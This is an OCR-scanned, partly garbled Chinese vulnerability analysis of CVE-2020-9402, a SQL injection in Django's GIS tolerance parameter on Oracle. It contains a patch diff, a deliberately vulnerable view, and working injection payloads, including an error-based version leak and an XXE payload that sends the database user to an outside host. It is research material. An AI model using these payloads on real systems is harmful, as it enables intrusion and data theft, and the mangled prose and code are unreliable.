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CVE-2020-9402: Potential SQL injection via tolerance parameter in GIS functions and aggregates on

Oracle

GIS functions and aggregates on Oracle were subject to SQL injection, using a suitably crafted

tolerance.
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2%3 @ -27,9 +27,16 @@ def as_sql(self, compiler, connection, function=None, xkextra_context):
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tolerance = self.extra.get('tolerance') or getattr(self, 'tolerance', 0.05)

template = None if self.is_extent else 'S%(function)s(SDOAGGRTYPE(%(expressions)s,%(tolerance)s))’
return self.as_sql(compiler, connection, template=template, tolerance=tolerance, xxextra_context)
if not self.is_extent:

tolerance = self.extra.get('tolerance') or getattr(self, 'tolerance', 0.05)
clone = self.copy()
clone.set_source_expressions([
xself.get_source_expressions(),
Value(tolerance),
1)
template = '%(function)s(SDOAGGRTYPE(%(expressions)s))"
return clone.as_sql(compiler, connection, template=template, sxextra_context)
return self.as_sql(compiler, connection, sxextra_context)

+ o+ + 4+ o+ o+ o+ 4+ + o+

def resolve_expression(self, query=None, allow_joins=True, reuse=None, summarize=False, for_save=False):
c = super().resolve_expression(query, allow_joins, reuse, summarize, for_save)
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v 14 mmmm django/contrib/gis/db/models/functions.py E& e
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@@ -111,12 +111,14 @@ class OracleToleranceMixin:

tolerance = 0.05

def as_oracle(self, compiler, connection, xkextra_context):
- tol = self.extra.get('tolerance', self.tolerance)
- return self.as_sql(
- compiler, connection,

template="%%(function)s(%%(expressions)s, %s)" % tol,

*xextra_context
)

tolerance = Value(self._handle_param(

self.extra.get('tolerance', self.tolerance),
'tolerance',
NUMERIC_TYPES,
))
clone = self.copy()
clone.set_source_expressions( [*self.get_source_expressions(), tolerancel])

+ o+ + o+ o+ o+ o+

return clone.as_sql(compiler, connection, skextra_context)

class Area(OracleToleranceMixin, GeoFunc):
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pnt = GEOSGeometry('POINT(-96.876369 29.905320)', srid=4326)

>>>SRID=4326;POINT (-96.876369 29.90532)

FERIE— M BEREER, BT PR E— N E AR E R

from django.contrib.gis.db import models
class Names(models.Model):

name = models.CharField(max_length=128)

def __str__(self):

return self.name

class Interstate(Names):

path = models.LineStringField()

[EETFERIRMRA N path BYERE7 json EUE, Filan

{"type":"LineString","coordinates":[[-8167.236601807093,-3286.248045708844],
[-7896.285624495958,-3324.9553281818644 ], [1083.8039092445451, -654.1528375435246] ]}
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SQL> select x from APP_INTERSTATE;

NAMEDMODEL_PTR_ID

PATH(SDO_GTYPE, SDO_SRID, SDO_POINT(X, Y, Z), SDO_ELEM_INFO, SDO_ORDINATES)

1
SDO_GEOMETRY (2002, 4326, NULL, SDO_ELEM_INFO_ARRAY(1, 2, 1), SDO_ORDINATE_ARRAY
-.07336753, -.02952087, —.07093354, -.02986858, —.06922194, —.02935953, -.066604
61, -.04609107, -.03557488, -.05707617, .009735976, —.00587635))

21
SDO_GEOMETRY (2002, 4326, NULL, SDO_ELEM_INFO_ARRAY(1, 2, 1), SDO_ORDINATE_ARRAY (
—-.04076555, .02317965, -.08626521, .049193048, -.07808983, -.02585381, -.0056514
1, -.00835374, -.03932118, -.07261274, .062126666, -.08010549, .05419001, .00665

NAMEDMODEL_PTR_ID

PATH(SDO_GTYPE, SDO_SRID, SDO_POINT(X, Y, Z), SDO_ELEM_INFO, SDO_ORDINATES)

3219))

41
SDO_GEOMETRY (2002, 4326, NULL, SDO_ELEM_INFO_ARRAY(1, 2, 1), SDO_ORDINATE_ARRAY(
-.07098868, .044197436, —.07267714, .002139062, .067499131, .047630662, .0865146
52, -.00317305))

61
SDO_GEOMETRY (2002, 4326, NULL, SDO_ELEM_INFO_ARRAY(1, 2, 1), SDO_ORDINATE‘ARRAYY
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def vuln(request):
g = request.GET.get('q")
gs=Interstate.objects.annotate(
d=Distance(
Point(-0.0733675346842369, -0.0295208671625432, srid=4326),

Point(0.009735976166628611, -0.00587635491086091, srid=4326),
tolerance = q, # default 0.65

)
).filter(d=D(m=1)).values('name")

EAEMSEHRAZINEME Point &if, ELtbATESE, EEE T Point H{E. . srid A
FRISENRFIRE, MBS 4326, HF tolerance EXIT oracle FikFERI—1NEE, H
TERARENMPRIIBHER, FARIEEALIESE oracle BN
(https://docs.oracle.com/en/database/oracle/oracle-database/18/spatl/spatial-
concepts.html#GUID-CE10AB14-D5EA-43BA-A647-DACOEEF41EE6) , XINAIEIEET A

SELECT "APP_NAMEDMODEL"."NAME" FROM "APP_INTERSTATE" INNER JOIN "APP_NAMEDMODEL" ON
("APP_INTERSTATE"."NAMEDMODEL_PTR_ID" = "APP_NAMEDMODEL"."ID") WHERE

SDO_GEOM.SDO_DISTANCE (SDO_GEOMETRY (POINT (-0.0733675346842369 -0.0295208671625432),4326),
SDO_GEOMETRY (POINT (0.009735976166628611 -0.00587635491086091),4326), 0.05) = 1.0 FETCH FIRST 21
ROWS ONLY:
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from django.db.models import x # NOQA isort:skip

from django.db.models import _ all__ as models_all # isort:skip

import django.contrib.gis.db.models.functions # NOQA

import django.contrib.gis.db.models.lookups # NOOA

from django.contrib.gis.db.models.aggregates import * # NOQA

from django.contrib.gis.db.models.aggregates import _ all__ as aggregates_all

from django.contrib.gis.db.models.fields import (
GeometryCollectionField, GeometryField, LineStringField,
MultilLineStringField, MultiPointField, MultiPolygonField, PointField,
PolygonField, RasterField,

)

_all__ = models_all + aggregates_all

_all__ += [
'GeometryCollectionField', 'GeometryField', 'LineStringField',
'MultiLineStringField', ‘MultiPointField', 'MultiPolygonField', 'PointField’,
'PolygonField’', 'RasterField’,
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@classmethod

def _get_queryset_methods(cls, queryset_class):
def create_method(name, method):
def manager_method(self, *args, skkwargs):

return getattr(self.get_queryset(), name) (kargs, *xkwargs)
manager_method._ name__ = method._ name__
manager_method._ doc__ = method._ doc__
return manager_method

(https://xzfile.aliyuncs.com/media/upload/picture/20200315021407-98a9da08-661f-
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PRMIHNZ] django/contrib/gis/measure.py SAEAHHY measureBase FHHITHIEZER, APARHEAEY
FiESTTLANNY, RIttEEREIREMCIEER. 5o3KE gis APl a9 functions /&Y, 7&

as_oracle J3iA1X—E&

def as_oracle(self, compiler, connection, **extra_context):
tol = self.extra.get('tolerance', self.tolerance)
return self.as_sql(

compiler, connection,
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**extra_context

tolerance M self.extra.get S\, ZHZSBREFETENE, NRZEAFE, VWEERE
73 0.05, AEKBHEEZEENEFNZESR. ZBUART tol HITHTGMEEREHEE template
FRBPFHEEN as_sq1 5%, IBABLXTF as_sql BIXHER, EERE—
SQLCompiler 3F52, S F django/db/models/sql/compiler.py M4, MEAIRBENBEEZXIHR
FE— compile() J3iE, ZAEILUREI—MIE SQL FRFERIITE, M SQLComiler X35
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N compile J3EARIFHTHHE
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def compile(self, node): self: <django.db.models.sql.compiler.SQLCompiler object at 0x1146b9650> node: Value(SRID
vendor_impl = getattr(node, 'as_' + self.connection.vendor, None) vendor impl: None
if vendor_impl:
sql, params = vendor_impl(self, self.connection) sql: 'SDO_GEOMETRY(%s,4326)' params: <class 'list'>: [<d
else:
sql, params = node.as_sql(self, self.connection)
“ return sql, params
params
def get_combinator_
features = self
compilers = [ [4 params = {list} <class 'list">: [<django.contrib.gis.db.backends.oracle.adapter.OracleSpatialAdapter

query.get_c 0 = {OracleSpatialAdapter} POINT (-0.0733675346842369 -0.0295208671625432)
for query i 61 len_ ={int}1

1

if not features
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61y | aeT as_sql{seLT, compller, cCONNeCtion, TuUNCT1lon=None, Template=None, arg_jolner=None, *kexTtra_CONTexT):
620 connection.ops.check_expression_support(self)

621 sql_parts = []

622 params = []

623 for arg in self.source_expressions:

624 arg_sql, arg_params = compiler.compile(arg)

625 sql_parts.append(arg_sql)

626 params.extend(arg_params)

627 data = {*kkself.extra, skextra_context}

628 # Use the first supplied value in this order: the parameter to this
629 # method, a value supplied in __init__()'s xxextra (the value in
630 # ‘data‘), or the value defined on the class.

631 if function is not None:

632 data['function'] = function

633 else:

634 data.setdefault(*function', self.function)

635 template = template or data.get('template', self.template)

636 arg_joiner = arg_joiner or data.get('arg_joiner', self.arg_joiner)
637 data['expressions'] = data['field'] = arg_joiner.join(sql_parts)
ECRCIB © | return template % data, pRNGRE | |
&20

rackends.oracle.adapter.OracleSpatialAdapter object at 0x10e63e250>, <django.contrib.gis.db.backends.oracle.adapter.OracleSpatialAdapter object at 0x10e583fd0>]

v SDO_GEOM.SDO_DISTANCE(SDO_GEOMETRY (%s,4326), SDO_GEOMETRY (%s,4326), 20) =1 OR 1=1 OR (1+1)

wriables

compiler = {SOLCompiler} <django.db.models.sql.compiler.SQLCompiler object at 0x10e7aed90>

connection = {DatabaseWrapper} <django.contrib.gis.db.backends.oracle.base.DatabaseWrapper object at 0x10e55d910>

data = {dict} <class 'dict'>: {'tolerance": '20) = 1 OR 1=1 OR (1+1', 'function': 'SDO_GEOM.SDO_DISTANCE', 'expressions": 'SDO_GEOMETRY(%s,4326), SDO_G... Vie

1 'tolerance' (4477451760) = {str}'20) = 1 OR 1=1 OR (1+1'

‘function’ (4334719600) = {str} 'SDO_GEOM.SDO_DISTANCE'

‘expressions' (4355505136) = {str} 'SDO_GEOMETRY(%s,4326), SDO_GEOMETRY (%s,4326)'

‘field' (4337304048) = {str} 'SDO_GEOMETRY (%s,4326), SDO_GEOMETRY (%s,4326)"

ol _len__={int} 4

extra_context = {dict} <class 'dict'>: {}

function = {str} 'SDO_GEOM.SDO_DISTANCE'

i= params = {list} <class 'list'>: [<django.contrib.gis.db.backends.oracle.adapter.OracleSpatialAdapter object at 0x10e63e250>, <django.contrib.gis.db.backel... Vie
self = {Distance} Distance(Value(SRID=4326;POINT (-0.0733675346842369 -0.0295208671625432)), Value(SRID=4326;POINT (0.009735976166628611 -0.... Vie

i= sql_parts = {list} <class 'list'>: 'SDO_GEOMETRY(%s,4326)', 'SDO_GEOMETRY(%s,4326)']

o1 template = {str} '%(function)s(%(expressions)s, 20) = 1 OR 1=1 OR (1+1)'

e

e

£

e

5]
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FItSEHEN oracle ESiEG R

SELECT "APP_NAMEDMODEL"."NAME" FROM "APP_INTERSTATE" INNER JOIN "APP_NAMEDMODEL" ON
("APP_INTERSTATE"."NAMEDMODEL_PTR_ID" = "APP_NAMEDMODEL"."ID") WHERE

SDO_GEOM.SDO_DISTANCE (SDO_GEOMETRY (POINT (-0.0733675346842369 -0.0295208671625432),4326),
SDO_GEOMETRY (POINT (0.009735976166628611 -0.00587635491086091),4326), ©.05) = 1 OR 1=1 OR (1+1) =
1.8 FETCH FIRST 21 ROWS ONLY;

(https://xzfile.aliyuncs.com/media/upload/picture/20200315021843-3d25c538-6620-
1.png)

class SQLCompiler:
def __init_ (self, query, connection, using):

= self.query = query query: SELECT "APP_NAMEDMODEL"."NAME" FROM "APP_INTERSTATE" INNER JOIN "APP_NAMEDMODEL" ON ("APP_INTERSTATE"
self.connection = connection connection: <django.contrib.gis.db.backends.oracle.base.DatabaseWrapper object at 0x11883dalo>
self.using = using wsing: ‘'default
self.quote_cache = {'x"': 'x'} quote_cache: <class 'dict'>: {'x': 'x', 'app_namedmodel': '"APP_NAMEDMODEL"', 'name': '"“NAME"', '
# The select, klass_info, and annotations are needed by QuerySet.iterator()
# these are set as a side-effect of executing the query. Note that we calculate
# separately a list of extra select columns needed for grammatical correctness
# of the query, but these columns are not included in self.select.
self.select = None select: <class 'list'>: [(Col(app_namedmodel, app.NamedModel.name), ('"APP_NAMEDMODEL"."NAME"', []), None)]
self.annotation_col_map = None annotation_col_map: <class 'dict'>: {}
self.klass_info = None klass_info: <class 'dict'>: {'model': <class 'app.models.Interstate'>, 'select_fields': [0]}
# Multiline ordering SQL clause may appear from RawSQL.
self.ordering_parts = re.compile(r'~(.x)\s(ASC|DESC)(.*)', re.MULTILINE | re.DOTALL) ordering_parts: re.compile('~(.%)\\s(ASC|D.
self._meta_ordering = None _meta_ordering: None

(https://xzfile.aliyuncs.com/media/upload/picture/20200315021843-3d25c538-6620-
1.png)
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SQL> SELECT "APP_NAMEDMODEL"."NAME" FROM "APP_INTERSTATE" INNER JOIN "APP_NAMEDMODEL" ON ("APP_INTERSTATE"."NAMEDMODEL_PTR_ID" = "APP_NAMEDMO

DEL"."ID") WHERE SDO_GEOM.SDO_DISTANCE(SDO_GEOMETRY (POINT (-0.0733675346842369 -0.0295208671625432),4326), SDO_GEOMETRY (POINT (@.0097359761666
28611 -0.00587635491086091),4326), 0.05) = 1 OR 1=1 OR (1+1) = 1.0 FETCH FIRST 21 ROWS ONLY;

(https://xzfile.aliyuncs.com/media/upload/picture/20200315021924-552dd2c4-6620-
1.png)
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Params @ 9

Query Params

KEY VALUE DESCRIPTION
q 20)=10R1=1 OR (1%2B1
Body (6) Status: 200 OK  Time: 4.13s  Size: 294 B Se
Pretty HTML ¥ =
1

{'name': 'test'}{'name': 'test3'}{'name': 'test5'}{'name’': 'test2'}{'name’: 'testQ'H

(https://xzfile.aliyuncs.com/media/upload/picture/20200315021956-68a97bfa-6620-
1.png)
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class City(Names):
point = models.PointField() # ii#th

TRIBENRIZE0N

{"type":"Point","coordinates":[13250.226757682816,68815.69380603009]}

view I EEF

from django.contrib.gis.db.models import Union
def vuln2(request):
gq = request.GET.get('q")
res = City.objects.aggregate(
Union('point', tolerance=q),

)

return HttpResponse(res)

i\ url
http://127.0.0.1:8000/vuln22q=0.05)))%2C%20( ( (1

BEELER, 5F SQL FifEa N

SELECT SDO_UTIL.TO_WKBGEOMETRY(SDO_AGGR_UNION(SDOAGGRTYPE("APP_CITY"."POINT",0.05))), (((1))) AS
"POINT__UNION" FROM "APP_CITY";

(https://xzfile.aliyuncs.com/media/upload/picture/20200315022243-cbf92a52-6620-
1.png)

SQL> SELECT SDO_UTIL.TO WKBGEOMETRY (SDO_AGGR UNION(SDOAGGRTYPE('APP CITY"."POINT",0.05))), (((1))) AS "POINT UNION' FROM "APP CITY";
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SDO_UTIL.TO_WKBGEOMETRY (SDO_AGGR_UNION(SDOAGGRTYPE("APP_CITY"."POINT",0.05)))

00000000040000000200000000013FBE78AC177187163FE3C80C3FOF74C50000000001BFA7BAFFFF
FFFFFO3FIDE1FFEA52D410
i
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1z aggregate EiFJ5i%AR GIS EIRFEN—MERGE, ANESHETRIEDEER, B
IRIRRIEERAVTT AR, BEIIRH GIS MR NREERG A, L

3: django/contrib/gis/db/models/aggregates.py SZ#FP\]E{J as_oracle Tj_iio
(https://xzfile.aliyuncs.com/media/upload/picture/20200315022333-e9ad0aaa-6620-
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def as_oracle(self, compiler, connection, **xextra_context):
tolerance = self.extra.get('tolerance') or getattr(self, 'tolerance', @.05)
template = None if self.is_extent else '%(function)s(SDOAGGRTYPE(%(expressions)s,%(tolerance)s))’
return self.as_sql(compiler, connection, template=template, tolerance=tolerance, s*xextra_context)

(https://xzfile.aliyuncs.com/media/upload/picture/20200315022333-e9ad0aaa-6620-
1.png)

[E)# tolerance R BIHIEEEIZIENT template #&iRiEGF, FE5S _EE annotate &if)
IE—#. MBREAMFINAE
REEEN

http://localhost:8000/test/?q=20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM
v%24instance)) from dual) is null%20 OR (1%2B1

(https://xzfile.aliyuncs.com/media/upload/picture/20200315022451-1824e286-6621-

1 hnn\


https://xzfile.aliyuncs.com/media/upload/picture/20200315022243-cbf92a52-6620-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20200315022333-e9ad0aaa-6620-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20200315022333-e9ad0aaa-6620-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20200315022451-1824e286-6621-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20200315022451-1824e286-6621-1.png

1epiryy

DatabaseError at /test/

ORA-29257: host 12.1.0.2.0 unknown
ORA-06512: at "SYS.UTL_INADDR?", line 4
ORA-06512: at "SYS.UTL_INADDR?", line 35
ORA-06512: at line 1

Request Method: GET

Request URL: http://127.0.0.1:8000/test/?q=20)%20=%201%200R%20(select%20utl_inaddr.get_host_name((SELECT%20version%20FROM%20v%?24instance))%20from%20dual)%20is%20null%20%200R%20(1%2B1
Django Version: 3.0.3
Exception Type: DatabaseError

Exception Value: ORA-29257: host 12.1.0.2.0 unknown
ORA-06512: at "SYS.UTL_INADDR",
ORA-06512: at "SYS.UTL_INADDR",
ORA-06512: at line 1

4

line
line 35

(https://xzfile.aliyuncs.com/media/upload/picture/20200315022451-1824e286-6621-
1.png)

CVE-2014-6577

K9 Django B 2.0 LAY oracle hixAs8 12 LA L, EMATLA=I oracle XXE k1T
SQL B9iEAN. ERTEAE SQL A IBRIEFRHFE=IRFIA % BoEiRBEE, RUEERE
XMLpayload Hf % &9 %%%%, payload /9

http://localhost:8000/test/?q=20) = 1 OR
(select%20extractvalue(xmltype('%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-
8%22%3F%3E%3C!DOCTYPE%20root%20%5B%20%3C! ENTITY%20%25%25%25%25%20remote%20SYSTEM%20%22http%3A%2F%2Fd
ocker.for.mac.host.internal%3A9000%2F '%7C%7C(SELECT%20user%20from%20dual )%7C%7C ' %22%3E%20%25%25%25%2
Sremote%3B%5D%3E " )%2C ' %2F1' )%20from%20dual)%20is%20not%20null OR (1%2B1

(https://xzfile.aliyuncs.com/media/upload/picture/20200315022617-4b6e7922-6621-
1.png)

ET /SYSTEM HTTP/1.0

ost: docker.for.mac.host.internal
ontent-Type: text/plain; charset=utf-8
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an SHRNERESIZ docker #2RY oracle FRLISKBIRE JAVA HUIAR, EITBARHIERIRE,
LIEBAREE.

OxFF Reference

e https://docs.djangoproject.com/zh-hans/3.0/ref/contrib/gis/geoquerysets/
(https://docs.djangoproject.com/zh-hans/3.0/ref/contrib/gis/geoquerysets/)

¢ https://docs.djangoproject.com/zh-hans/3.0/howto/custom-lookups/
(https://docs.djangoproject.com/zh-hans/3.0/howto/custom-lookups/)

e https://docs.djangoproject.com/en/3.0/ref/contrib/gis/db-api/#distance-queries
(https://docs.djangoproject.com/en/3.0/ref/contrib/gis/db-api/#distance-

queries)
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